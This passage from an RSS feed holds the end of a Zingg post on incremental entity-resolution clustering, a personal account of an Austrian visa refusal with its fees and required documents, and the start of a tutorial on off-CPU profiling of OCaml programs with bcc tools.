<code>rec-10000-org-new</code>  got added, matched with no other existing record but with each other.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NUPf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NUPf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 424w, https://substackcdn.com/image/fetch/$s_!NUPf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 848w, https://substackcdn.com/image/fetch/$s_!NUPf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 1272w, https://substackcdn.com/image/fetch/$s_!NUPf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NUPf!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png" width="1200" height="240.65934065934067" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78c9f4f2-39dd-4352-b847-234507120421_1763x353.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:292,&quot;width&quot;:1456,&quot;resizeWidth&quot;:1200,&quot;bytes&quot;:253779,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NUPf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 424w, https://substackcdn.com/image/fetch/$s_!NUPf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 848w, https://substackcdn.com/image/fetch/$s_!NUPf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 1272w, https://substackcdn.com/image/fetch/$s_!NUPf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c9f4f2-39dd-4352-b847-234507120421_1763x353.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>With me so far? Now, here comes an even more interesting bit! In the following dataset, <code>rec-1022-org</code> and <code>rec-1022-dup-4 </code>had matched originally.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dLzz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dLzz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 424w, https://substackcdn.com/image/fetch/$s_!dLzz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 848w, https://substackcdn.com/image/fetch/$s_!dLzz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 1272w, https://substackcdn.com/image/fetch/$s_!dLzz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dLzz!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png" width="1200" height="73.35164835164835" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:89,&quot;width&quot;:1456,&quot;resizeWidth&quot;:1200,&quot;bytes&quot;:70825,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dLzz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 424w, https://substackcdn.com/image/fetch/$s_!dLzz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 848w, https://substackcdn.com/image/fetch/$s_!dLzz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 1272w, https://substackcdn.com/image/fetch/$s_!dLzz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa93e2cdb-3498-45dd-b9bd-daa2231377c1_1755x107.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>In an update at a later date, <code>rec-1022-dup-4</code> got altered and these records now stop matching with each other. This usually happens in the case of wrong data capture in an original record. </p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nfJW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nfJW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 424w, https://substackcdn.com/image/fetch/$s_!nfJW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 848w, https://substackcdn.com/image/fetch/$s_!nfJW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 1272w, https://substackcdn.com/image/fetch/$s_!nfJW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nfJW!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png" width="1200" height="70.87912087912088" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:86,&quot;width&quot;:1456,&quot;resizeWidth&quot;:1200,&quot;bytes&quot;:63226,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nfJW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 424w, https://substackcdn.com/image/fetch/$s_!nfJW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 848w, https://substackcdn.com/image/fetch/$s_!nfJW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 1272w, https://substackcdn.com/image/fetch/$s_!nfJW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62c90324-06c7-40f8-aeda-6ae010bce9eb_1783x105.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Thus, when a record is updated yet it is close enough to the original cluster values, we ought to keep the cluster relationship. In the case of adding a new record that does not match any existing ones, a new cluster should get created. When a new record shows up that matches an existing cluster, the new record has to get attached to the cluster. When a new record that matches two clusters is passed, the clusters need to get merged. If we make edits to a record so it no longer matches with its existing cluster and then reverted those edits, the models should correctly track the updated and reversed entry, with the record remaining in the correct cluster throughout the incremental runs. There are myriad possible scenarios of clusters splitting and merging with each other. Matching new and updated against existing records gets extremely complex before we realise.</p><p>Technically, we could run a full match with Zingg Community version on the updated dataset and get the new clusters. </p><p>But.</p><p>If we run the entire matching process again, how do we preserve the persistent ZINGG_ID for the records? How do we tie back the newly generated ZINGG_IDs on the updated set to the original ZINGG_IDs? Especially when a new cluster will now have multiple older ZINGG_IDs, or when a new cluster may have some old different ZINGG_IDs and some fresh ones. How do we choose the surviving ZINGG_ID? On top of that, running full matching loads on growing datasets is costly in terms of time taken and compute.</p><p>Here is how we handle this in Zingg Enterprise.</p><blockquote><p>Clusters <strong>automatically</strong> merge, unmerge and new clusters with ZINGG_IDs are created based on new and updated values while <strong>only</strong> matching the updated records. </p></blockquote><p>Which means that</p><blockquote><p>The identity graph <strong>stays</strong> updated even when the data changes.</p></blockquote><p>When I had open sourced Zingg, I felt that it was my life&#8217;s best work and wondered if I would ever work on anything more challenging. While building the incremental update, I realized that this functionality is way way tougher to build than everything else I had built so far. Magnitudes tougher than the <a href="https://docs.zingg.ai/zingg0.4.0/stepbystep/createtrainingdata/label">active learning aspects of Zingg</a>, or the <a href="https://docs.zingg.ai/zingg0.4.0/zmodels">blocking model</a>. There are tons of algorithmic and performance aspects to consider. Even chalking out the test strategy and test data proved to be quite a challenge. </p><p>After intensive testing on internally generated datasets, we released the <a href="https://docs.zingg.ai/zingg0.4.0/stepbystep/runincremental">runIncremental</a> phase to our early customers. We knew our test data could not mimic every possible scenario, and though we were confident of the algorithms, we suspected edge cases which we had not envisaged. We requested our customers to test the incremental flows on their data and to report any inconsistencies in matching or cluster assignment. We were thrilled to get an extremely positive response!</p><p>Here is an excerpt from one of their test reports:</p><blockquote><p>Each test scenario was carefully constructed to challenge the model and verify the expected behavior. The results were consistently positive, demonstrating the model's precision and adaptability in every test case. Its ability to accurately handle minor data modifications and correctly process entirely new, atypical entries was particularly noteworthy. Equally impressive was its capability to manage entries that aligned with several clusters without compromising accuracy and its efficiency in reverting changes to their original form. </p><p>The success of these tests is an essential step on the way to releasing the incremental Zingg models in production.</p></blockquote><p>We are super proud to have come so far, and happy to roll it to <strong>all</strong> our customers. If the idea of an identity graph on your own data within your own data lake and warehouse appeals to you, why not hit reply and let us grab a coffee? :-) </p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/76e7445f-276e-4972-b0c2-2b12122f9b12_1456x292.jpeg" length="0" type="image/jpeg"/>
        </item>
        <item>
            <title><![CDATA[My Austrian Visa Refusal Story]]></title>
            <link>https://ravidwivedi.in/posts/austrian-visa-refusal-jan-2024/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/austrian-visa-refusal-jan-2024/</guid>
            <pubDate>Sun, 11 Aug 2024 06:29:04 GMT</pubDate>
            <description><![CDATA[Vienna - the capital of Austria - is one of the most visited cities in the world, popular for its rich history, gardens, and cafes, along with well-known artists like Beethoven, Mozart, Gödel, and Freud. It has also been consistently ranked as the most livable city in the world.
For these reasons, I was elated when my friend Snehal invited me last year to visit Vienna for a few days. We included Christmas and New Year’s Eve in my itinerary due to the city’s popular Christmas markets and lively events. The festive season also ensured that Snehal had some days off for sightseeing.
Indians require a visa to visit Austria. Since the travel dates were near, I rushed to book an appointment online with VFS Global in Delhi, and quickly arranged the required documents. However, at VFS, I found out that I had applied in the wrong appointment category (tourist), which depends on the purpose of the visit, and that my travel dates do not allow enough time for visa authorities to make a decision. Apparently, even if you plan to stay only for a part of the trip with the host, you need to apply under the category “Visiting Friends and Family”.
Thus, I had to book another appointment under this category, and took the opportunity to shift my travel dates to allow at least 15 business days for the visa application to be processed, removing Christmas and New Year’s Eve from my itinerary.
The process went smoothly, and my visa application was submitted by VFS. For reference, here’s a list of documents I submitted -
VFS appointment letter
Duly-filled visa application form
Original passport
Copy of passport
1 photograph
My 6 months bank account statement
Cover letter
Consent form (that visa processing will take up to 15 business days)
Snehal’s job contract
My work contract
Rent contract of Snehal
Residence permit of Snehal
A copy of Snehal’s passport
Invitation letter from Snehal
Return flight ticket reservations
Travel insurance for the intended travel dates
The following charges were collected from me.
Service Description
Amount (Indian Rupees)




Cash Handling Charge - SAC Code: (SAC:998599)
0


VFS Fee - India - SAC Code: (SAC:998599)
1,820


VISA Fee - India - SAC Code:
7,280


Convenience Fee - SAC Code: (SAC:998599)
182


Courier Service - SAC Code: (SAC:998599)
728


Courier Assurance - SAC Code: (SAC:998599)
182


Total
10,192



I later learned that the courier charges (728 INR) and the courier assurance charges (182 INR) mentioned above were optional. However, VFS didn’t ask whether I wanted to include them. When the emabssy is done processing your application, it will send your passport back to VFS, from where you can either collect it yourself or get it couriered back home, which requires you to pay courier charges. However, courier assurance charges do not add any value as VFS cannot “assure” anything about courier and I suggest you get them removed.
My visa application was submitted on the 21st of December 2023. A few days later, on the 29th of December 2023, I received an email from the Austrian embassy asking me to submit an additional document -
Subject: AUSTRIAN VISA APPLICATION - AMENDMENT REQUEST: Ravi Dwivedi VIS 4331
Dear Applicant,
On 22.12.2023 your application for Visa C was registered at the Embassy. You are requested to kindly send the scanned copies of the following documents via email to the Embassy or submit the documents at the nearest VFS centre, for further processing of your application:
Kindly submit Electronic letter of guarantee “EVE- Elektronische Verpflichtungserklärung” obtained from the “Fremdenpolizeibehörde” of the sponsor’s district in Austria. Once your host company/inviting company has obtained the EVE, please share the reference number (starting from DEL_____) received from the authorities, with the Embassy.
I misunderstood the required document (the EVE) to be a scanned copy of the letter of guarantee form signed by Snehal, and responded by attaching it.
Upon researching, Snehal determined that the document is an electronic letter of guarantee, and is supposed to be obtained at a local police station in Vienna. He visited a police station the next day and had a hard time conversing due to the language barrier (German is the common language in Austria, whereas Snehal speaks English). That day was a weekend, so he took an appointment for Monday, but in the meantime the embassy had finished processing my visa.
My visa was denied, and the refusal letter stated:
The Austrian embassy in Delhi examined your application; the visa has been refused.
The decision is based on the following reason(s):
The information submitted regarding the justification for the purpose and conditions of the intended stay was not reliable.
There are reasonable doubts as to your intention to leave the territory of the Member States before the expiry of the visa.
Other remarks:
You have been given an amendment request, which you have failed to fulfil, or have only fulfilled inadequately, within the deadline set.
You are a first-time traveller. The social and economic roots with the home country are not evident. The return from Schengen territory does therefore not seem to be certain.
I could have reapplied after obtaining the EVE, but I didn’t because I found the following line
The social and economic roots with the home country are not evident.
offensive for someone who was born and raised in India, got the impression that the absence of electronic guarantee letter was not the only reason behind the refusal, had already wasted 12,000 INR on this application, and my friend’s stay in Austria was uncertain after January. In fact, my friend soon returned to India.
To summarize -
If you are visiting a host, then the category of appointment at VFS must be “Visiting Friends and Family” rather than “Tourist”.
VFS charged me for courier assurance, which is an optional service. Make sure to get these removed from your bill.
Neither my travel agent nor the VFS application center mentioned the EVE.
While the required documents list from the VFS website does mention it in point 6, it leads to a dead link.
Snehal informed me that a mere two months ago, his wife’s visa was approved without an EVE. This hints at inconsistency in processing of applications, even those under identical categories.
Such incidents are a waste of time and money for applicants, and an embarrassment to VFS and the Austrian visa authorities. I suggest that the Austrian visa authorities fix that URL, and provide instructions for hosts to obtain the EVE.
Credits to Snehal and Contrapunctus for editing, Badri for proofreading.]]></description>
            <content:encoded><![CDATA[<p>Vienna - the capital of Austria - is one of the most visited cities in the world, popular for its rich history, gardens, and cafes, along with well-known artists like Beethoven, Mozart, Gödel, and Freud. It has also been consistently ranked as the most livable city in the world.</p>
<p>For these reasons, I was elated when my friend <a href="https://inferred.in">Snehal</a> invited me last year to visit Vienna for a few days. We included Christmas and New Year&rsquo;s Eve in my itinerary due to the city&rsquo;s popular Christmas markets and lively events. The festive season also ensured that Snehal had some days off for sightseeing.</p>
<p>Indians require a visa to visit Austria. Since the travel dates were near, I rushed to book an appointment online with VFS Global in Delhi, and quickly arranged the required documents. However, at VFS, I found out that I had applied in the wrong appointment category (tourist), which depends on the purpose of the visit, and that my travel dates do not allow enough time for visa authorities to make a decision. Apparently, even if you plan to stay only for a part of the trip with the host, you need to apply under the category &ldquo;Visiting Friends and Family&rdquo;.</p>
<p>Thus, I had to book another appointment under this category, and took the opportunity to shift my travel dates to allow at least 15 business days for the visa application to be processed, removing Christmas and New Year&rsquo;s Eve from my itinerary.</p>
<p>The process went smoothly, and my visa application was submitted by VFS. For reference, here&rsquo;s a list of documents I submitted -</p>
<ul>
<li>
<p>VFS appointment letter</p>
</li>
<li>
<p>Duly-filled visa application form</p>
</li>
<li>
<p>Original passport</p>
</li>
<li>
<p>Copy of passport</p>
</li>
<li>
<p>1 photograph</p>
</li>
<li>
<p>My 6 months bank account statement</p>
</li>
<li>
<p>Cover letter</p>
</li>
<li>
<p>Consent form (that visa processing will take up to 15 business days)</p>
</li>
<li>
<p>Snehal&rsquo;s job contract</p>
</li>
<li>
<p>My work contract</p>
</li>
<li>
<p>Rent contract of Snehal</p>
</li>
<li>
<p>Residence permit of Snehal</p>
</li>
<li>
<p>A copy of Snehal&rsquo;s passport</p>
</li>
<li>
<p>Invitation letter from Snehal</p>
</li>
<li>
<p>Return flight ticket reservations</p>
</li>
<li>
<p>Travel insurance for the intended travel dates</p>
</li>
</ul>
<p>The following charges were collected from me.</p>
<table>
<thead>
<tr>
<th><strong>Service Description</strong></th>
<th style="text-align:right"><strong>Amount (Indian Rupees)</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Cash Handling Charge - SAC Code: (SAC:998599)</td>
<td style="text-align:right">0</td>
</tr>
<tr>
<td>VFS Fee - India - SAC Code: (SAC:998599)</td>
<td style="text-align:right">1,820</td>
</tr>
<tr>
<td>VISA Fee - India - SAC Code:</td>
<td style="text-align:right">7,280</td>
</tr>
<tr>
<td>Convenience Fee - SAC Code: (SAC:998599)</td>
<td style="text-align:right">182</td>
</tr>
<tr>
<td>Courier Service - SAC Code: (SAC:998599)</td>
<td style="text-align:right">728</td>
</tr>
<tr>
<td>Courier Assurance - SAC Code: (SAC:998599)</td>
<td style="text-align:right">182</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td style="text-align:right"><strong>10,192</strong></td>
</tr>
</tbody>
</table>
<p>I later learned that the courier charges (728 INR) and the courier assurance charges (182 INR) mentioned above were optional. However, VFS didn&rsquo;t ask whether I wanted to include them. When the emabssy is done processing your application, it will send your passport back to VFS, from where you can either collect it yourself or get it couriered back home, which requires you to pay courier charges. However, courier assurance charges do not add any value as VFS cannot &ldquo;assure&rdquo; anything about courier and I suggest you get them removed.</p>
<p>My visa application was submitted on the 21st of December 2023. A few days later, on the 29th of December 2023, I received an email from the Austrian embassy asking me to submit an additional document -</p>
<blockquote>
<p>Subject: AUSTRIAN VISA APPLICATION - AMENDMENT REQUEST: Ravi Dwivedi VIS 4331</p>
<p>Dear Applicant,</p>
<p>On 22.12.2023 your application for Visa C was registered at the Embassy. You are requested to kindly send the scanned copies of the following documents via email to the Embassy or submit the documents at the nearest VFS centre, for further processing of your application:</p>
<ul>
<li>Kindly submit Electronic letter of guarantee &ldquo;EVE- Elektronische Verpflichtungserklärung&rdquo; obtained from the &ldquo;Fremdenpolizeibehörde&rdquo; of the sponsor&rsquo;s district in Austria. Once your host company/inviting company has obtained the EVE, please share the reference number (starting from DEL_____) received from the authorities, with the Embassy.</li>
</ul>
</blockquote>
<p>I misunderstood the required document (the EVE) to be a scanned copy of the letter of guarantee form signed by Snehal, and responded by attaching it.</p>
<p>Upon researching, Snehal determined that the document is an electronic letter of guarantee, and is supposed to be obtained at a local police station in Vienna. He visited a police station the next day and had a hard time conversing due to the language barrier (German is the common language in Austria, whereas Snehal speaks English). That day was a weekend, so he took an appointment for Monday, but in the meantime the embassy had finished processing my visa.</p>
<p>My visa was denied, and the refusal letter stated:</p>
<blockquote>
<p>The Austrian embassy in Delhi examined your application; the visa has been refused.</p>
<p>The decision is based on the following reason(s):</p>
<ul>
<li>
<p>The information submitted regarding the justification for the purpose and conditions of the intended stay was not reliable.</p>
</li>
<li>
<p>There are reasonable doubts as to your intention to leave the territory of the Member States before the expiry of the visa.</p>
</li>
</ul>
<p>Other remarks:</p>
<p>You have been given an amendment request, which you have failed to fulfil, or have only fulfilled inadequately, within the deadline set.</p>
<p>You are a first-time traveller. The social and economic roots with the home country are not evident. The return from Schengen territory does therefore not seem to be certain.</p>
</blockquote>
<p>I could have reapplied after obtaining the EVE, but I didn&rsquo;t because I found the following line</p>
<blockquote>
<p>The social and economic roots with the home country are not evident.</p>
</blockquote>
<p>offensive for someone who was born and raised in India, got the impression that the absence of electronic guarantee letter was not the only reason behind the refusal, had already wasted 12,000 INR on this application, and my friend&rsquo;s stay in Austria was uncertain after January. In fact, my friend soon returned to India.</p>
<p>To summarize -</p>
<ol>
<li>If you are visiting a host, then the category of appointment at VFS must be &ldquo;Visiting Friends and Family&rdquo; rather than &ldquo;Tourist&rdquo;.</li>
<li>VFS charged me for courier assurance, which is an optional service. Make sure to get these removed from your bill.</li>
<li>Neither my travel agent nor the VFS application center mentioned the EVE.</li>
<li>While the <a href="https://visa.vfsglobal.com/one-pager/austria/india/english/pdf/Visa-for-Visitors-Document.pdf">required documents list</a> from the VFS website does mention it in point 6, it leads to a <a href="http://www.bmi.gv.at/cms/BMI_Fremdenpolizei/einreise_visa/Visum_6.aspx">dead link</a>.</li>
<li>Snehal informed me that a mere two months ago, his wife&rsquo;s visa was approved without an EVE. This hints at inconsistency in processing of applications, even those under identical categories.</li>
</ol>
<p>Such incidents are a waste of time and money for applicants, and an embarrassment to VFS and the Austrian visa authorities. I suggest that the Austrian visa authorities fix that URL, and provide instructions for hosts to obtain the EVE.</p>
<p><strong>Credits to Snehal and <a href="https://contrapunctus.codeberg.page/">Contrapunctus</a> for editing, Badri for proofreading.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Off-CPU-time analysis]]></title>
            <link>https://kcsrk.info/ocaml/offcputime/bpfcc/2024/07/24/offcputime-analysis/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/offcputime/bpfcc/2024/07/24/offcputime-analysis/</guid>
            <pubDate>Wed, 24 Jul 2024 09:48:00 GMT</pubDate>
            <description><![CDATA[Off-CPU analysis is where the program behavior when it is not running is
recorded and analysed. See Brendan Gregg’s eBPF based off-CPU
analysis. While on-CPU
performance monitoring tools such as perf give you an idea of where the
program is actively spending its time, they won’t tell you where the program
is spending time blocked waiting for an action. Off-CPU analysis reveals
information about where the program is spending time passively.
Installation
Install the tools from https://github.com/iovisor/bcc/.
Enabling frame pointers
The off-CPU stack trace collection, offcputime-bpfcc, requires the programs to
be compiled with frame pointers for full backtraces.
OCaml
For OCaml, you’ll need a compiler variant with frame pointers enabled. If you
are installing a released compiler using opam, you can create one the following 
switch command opam switch create 5.2.0+fp 5.2.0 ocaml-option-fp. Change out 
5.2.0 for your preferred OCaml version.
Instead, if you are building the OCaml compiler from source, configure the
compiler with --enable-frame-pointers option:

$ ./configure --enable-frame-pointers


Lastly, there is an option to create an opam switch with the development branch
of the compiler. The instructions are in ocaml/HACKING.adoc. In order to
create an opam switch from the current working directory, do:

$ opam switch create . 'ocaml-option-fp' --working-dir


glibc
The libc is not compiled with frame pointers by default. This will lead to many
truncated stack traces. On Ubuntu, I did the following to get a glibc with frame
pointers enabled:
Install glibc with frame pointers
    

$ sudo apt install libc6-prof

    
LD_PRELOAD the glibc with frame pointers
    

$ LD_PRELOAD=/lib/libc6-prof/x86_64-linux-gnu/libc.so.6 ./myapp.exe

    
Running
On one terminal run the program that you want to analyze:

$ LD_PRELOAD=/lib/libc6-prof/x86_64-linux-gnu/libc.so.6 ./ocamlfoo.exe


On another terminal run offcputime-bpfcc tool:

$ sudo offcputime-bpfcc --stack-storage-size 2097152 -p $(pgrep -f ocamlfoo.exe) 10 > offcputime.out


The command instruments the watches for 10s and the writes out the stack traces
corresponding to blocking calls in offcputime.out. We use a large stack
storage size argument so as to not lose stack traces. Otherwise, you will see
many [Missing User Stack] errors in the back traces.
Caveats
offcputime-bpfcc must run longer than the program being instrumented by a few
seconds so that the function symbols are resolved. Otherwise you may see
[unknown] in the backtrace for function names.
Oddities
I still see an order of magnitude difference between the maximum pauses observed
using offcputime-bpfcc and olly trace. Something is off.
Other links
https://www.pingcap.com/blog/how-to-trace-linux-system-calls-in-production-with-minimal-impact-on-performance/]]></description>
            <content:encoded><![CDATA[<p>Off-CPU analysis is where the program behavior when it is not running is
recorded and analysed. See <a href="https://www.brendangregg.com/offcpuanalysis.html">Brendan Gregg’s eBPF based off-CPU
analysis</a>. While on-CPU
performance monitoring tools such as <code class="language-plaintext highlighter-rouge">perf</code> give you an idea of where the
program is <em>actively</em> spending its time, they won’t tell you where the program
is spending time <em>blocked</em> waiting for an action. Off-CPU analysis reveals
information about where the program is spending time <em>passively</em>.</p>

<!--more-->

<h2 id="installation">Installation</h2>

<p>Install the tools from <a href="https://github.com/iovisor/bcc/">https://github.com/iovisor/bcc/</a>.</p>

<h2 id="enabling-frame-pointers">Enabling frame pointers</h2>

<p>The off-CPU stack trace collection, <code class="language-plaintext highlighter-rouge">offcputime-bpfcc</code>, requires the programs to
be compiled with frame pointers for full backtraces.</p>

<h3 id="ocaml">OCaml</h3>

<p>For OCaml, you’ll need a compiler variant with frame pointers enabled. If you
are installing a released compiler using <code class="language-plaintext highlighter-rouge">opam</code>, you can create one the following 
switch command <code class="language-plaintext highlighter-rouge">opam switch create 5.2.0+fp 5.2.0 ocaml-option-fp</code>. Change out 
<code class="language-plaintext highlighter-rouge">5.2.0</code> for your preferred OCaml version.</p>

<p>Instead, if you are building the OCaml compiler from source, <code class="language-plaintext highlighter-rouge">configure</code> the
compiler with <code class="language-plaintext highlighter-rouge">--enable-frame-pointers</code> option:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./configure --enable-frame-pointers
</code></pre></div></div>

